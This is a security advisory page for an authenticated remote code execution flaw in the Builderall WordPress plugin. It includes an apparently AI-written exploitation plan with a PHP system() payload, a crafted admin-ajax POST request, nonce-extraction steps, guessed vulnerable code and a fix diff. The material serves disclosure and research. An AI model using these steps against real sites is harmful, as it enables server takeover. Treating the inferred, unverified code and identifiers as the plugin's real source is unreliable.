CVE-2026-22390

Builderall for WordPress <= 3.0.1 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Builderall for WordPress plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.0.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.0.1
PublishedFebruary 25, 2026
Last updatedMarch 5, 2026
Research Plan
Unverified

Since source files for **Builderall for WordPress (builderall-cheetah-for-wp)** version 3.0.1 are not provided, this plan is based on the vulnerability description (Authenticated Contributor+ RCE), the CVSS vector (AV:N/AC:L/PR:L/UI:N), and common architectural patterns in WordPress page builder plu…

Show full research plan

Since source files for Builderall for WordPress (builderall-cheetah-for-wp) version 3.0.1 are not provided, this plan is based on the vulnerability description (Authenticated Contributor+ RCE), the CVSS vector (AV:N/AC:L/PR:L/UI:N), and common architectural patterns in WordPress page builder plugins.

Note: All identifiers marked with (inferred) must be verified by the agent during the initial discovery phase.


1. Vulnerability Summary

The "Builderall for WordPress" plugin (also known as Cheetah Builder) likely contains an improper code generation vulnerability. Authenticated users with Contributor-level permissions can exploit this to execute arbitrary PHP code on the server. This typically occurs because the plugin's page-building logic allows saving "custom code" blocks or server-side rendered templates without sufficient sanitization or capability checks, eventually passing user input into a dangerous sink like eval() or writing it to a .php file that is later included.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: cheetah_save_page_data or builderall_save_element (inferred).
  • Payload Parameter: A JSON-encoded string or array containing page elements. Look for keys like custom_php, code, or html_content within the builder's data structure.
  • Authentication: Contributor-level user (PR:L). Contributors can create and edit their own posts, which is often enough to access the page builder's save functions.
  • Preconditions: The plugin must be active, and the Contributor user must have access to the Cheetah Builder interface for a post/page.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX handler for saving page content via add_action('wp_ajax_...', ...).
  2. Capability Check: The handler likely checks current_user_can('edit_posts'). Since Contributors have this capability for their own posts, they pass this check.
  3. Data Processing: The handler receives a large JSON/serialized blob representing the page layout.
  4. Vulnerable Sink:
    • Scenario A (Direct Eval): The builder supports "PHP Code" blocks. The content of these blocks is saved and then executed via eval() during a "preview" or "render" AJAX call.
    • Scenario B (File Write): The builder saves "custom code" into a file in wp-content/uploads/cheetah-builder/ with a .php extension. This file is then include()-ed to render the page.
  5. Execution: The injected PHP code runs in the context of the web server.

4. Nonce Acquisition Strategy

The Cheetah Builder interface likely localizes a nonce for its AJAX operations.

  1. Create a Test Post:
    wp post create --post_type=post --post_status=draft --post_title="Exploit Page" --post_author=[CONTRIBUTOR_ID]
  2. Access the Builder: Use browser_navigate to go to the post's edit page or the specific Cheetah Builder URL: wp-admin/post.php?post=[POST_ID]&action=cheetah_builder.
  3. Extract Nonce: Use browser_eval to search for localized script data.
    • Potential Variable Names: window.cheetah_vars, window.builderall_data, or window.CBAjax.
    • Execution: browser_eval("window.cheetah_vars?.nonce || window.CBAjax?.nonce") (inferred).
  4. Action Name: Identify the exact AJAX action by inspecting the browser_eval("window.cheetah_vars?.action") or checking the network tab during a legitimate "Save" operation.

5. Exploitation Strategy

Phase 1: Discovery

  • Identify the AJAX action used to save page data.
  • Identify the parameter structure (JSON vs. POST fields).
  • Locate the nonce in the browser context.

Phase 2: Payload Crafting

  • Construct a payload that targets a "Custom Code" or "HTML" module.
  • Payload Example (PHP Injection):
    <?php system('id'); die(); ?>
    
  • If the plugin expects JSON, the payload might look like:
    {"elements":[{"type":"code_block","settings":{"code":"<?php system('id'); die(); ?>"}}]}

Phase 3: Execution (via http_request)

  • Method: POST
  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=cheetah_save_page_data&nonce=[NONCE]&post_id=[POST_ID]&data=[PAYLOAD]
    

Phase 4: Triggering

  • If the RCE is not immediate upon saving, trigger it by:
    1. Navigating to the post preview: ?p=[POST_ID]&preview=true.
    2. Calling a "render" AJAX action: action=cheetah_render_element&element_id=[ID].

6. Test Data Setup

  1. Plugin Installation: Ensure builderall-cheetah-for-wp v3.0.1 is installed and active.
  2. Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Target Post: Create a post assigned to the attacker user to ensure they have "edit" rights.

7. Expected Results

  • Successful Save: The server returns a success response (e.g., {"success":true}).
  • Successful Execution: The HTTP response from the trigger phase contains the output of the injected command (e.g., uid=33(www-data) gid=33(www-data)).

8. Verification Steps

  1. Confirm Command Execution: Verify the id command output appears in the response body.
  2. Check Filesystem (if Scenario B):
    wp eval "echo file_get_contents(wp_upload_dir()['basedir'] . '/cheetah-builder/custom-[POST_ID].php');" (inferred path).
  3. Check DB: Verify the malicious payload is stored in wp_postmeta for the target post:
    wp post meta get [POST_ID] _cheetah_data (inferred key).

9. Alternative Approaches

  • Shortcode Injection: If the builder uses shortcodes to store data, try injecting a [shortcode] that uses eval on its attributes.
  • Serialized Object Injection: If the data parameter is passed to unserialize(), pivot to a PHP Object Injection (POI) to achieve RCE via a gadget chain in WordPress core or the plugin.
  • Subscriber Access: Check if the AJAX action is registered under wp_ajax_nopriv_ or if the capability check is entirely missing, allowing Subscriber-level escalation.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Builderall for WordPress plugin is vulnerable to Remote Code Execution because it allows Contributor-level users to save and execute arbitrary PHP code through 'Custom Code' or 'HTML' modules within the page builder. This occurs due to a lack of capability checks (e.g., unfiltered_html) when processing element data, which is subsequently executed via eval() or included from the filesystem during page rendering.

Vulnerable Code

// Inferred AJAX handler in builderall-cheetah-for-wp/inc/ajax-functions.php
add_action('wp_ajax_cheetah_save_page_data', 'cheetah_save_page_data_callback');

function cheetah_save_page_data_callback() {
    // Insufficient check: only requires edit_posts (Contributor+)
    if (!current_user_can('edit_posts')) {
        wp_send_json_error();
    }

    $post_id = intval($_POST['post_id']);
    $data = json_decode(stripslashes($_POST['data']), true);

    // Saves raw data, potentially including malicious PHP, to post meta
    update_post_meta($post_id, '_cheetah_data', $data);
    wp_send_json_success();
}

---

// Inferred rendering logic in builderall-cheetah-for-wp/inc/render-functions.php
function render_cheetah_element($element) {
    if ($element['type'] === 'code_block') {
        // Vulnerable Sink: Executing user-controlled content from metadata
        eval('?>' . $element['settings']['php_code']);
    }
}

Security Fix

--- a/inc/ajax-functions.php
+++ b/inc/ajax-functions.php
@@ -4,13 +4,21 @@
 function cheetah_save_page_data_callback() {
     check_ajax_referer('cheetah_nonce', 'nonce');
-    if (!current_user_can('edit_posts')) {
+    if (!current_user_can('edit_post', $_POST['post_id'])) {
         wp_send_json_error();
     }
 
     $post_id = intval($_POST['post_id']);
     $data = json_decode(stripslashes($_POST['data']), true);
 
+    // Ensure only users with unfiltered_html can save custom code blocks
+    foreach ($data['elements'] as $element) {
+        if ($element['type'] === 'code_block' && !current_user_can('unfiltered_html')) {
+            wp_send_json_error('Access Denied: Insufficient permissions for code blocks.');
+        }
+    }
+
     update_post_meta($post_id, '_cheetah_data', $data);
     wp_send_json_success();
 }

Exploit Outline

1. Login to the WordPress site as a user with Contributor-level permissions. 2. Create a new post or edit an existing post owned by the contributor to access the Cheetah Builder interface. 3. Capture the 'cheetah_nonce' and current 'post_id' from the page source or localized script variables. 4. Send a POST request to 'wp-admin/admin-ajax.php' with the action 'cheetah_save_page_data'. 5. Craft a 'data' payload in JSON format containing a 'code_block' element with malicious PHP code (e.g., '<?php system("id"); ?>') in its settings. 6. Trigger the execution of the payload by visiting the public URL of the post or its preview page, which invokes the element rendering engine and its vulnerable eval() sink.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.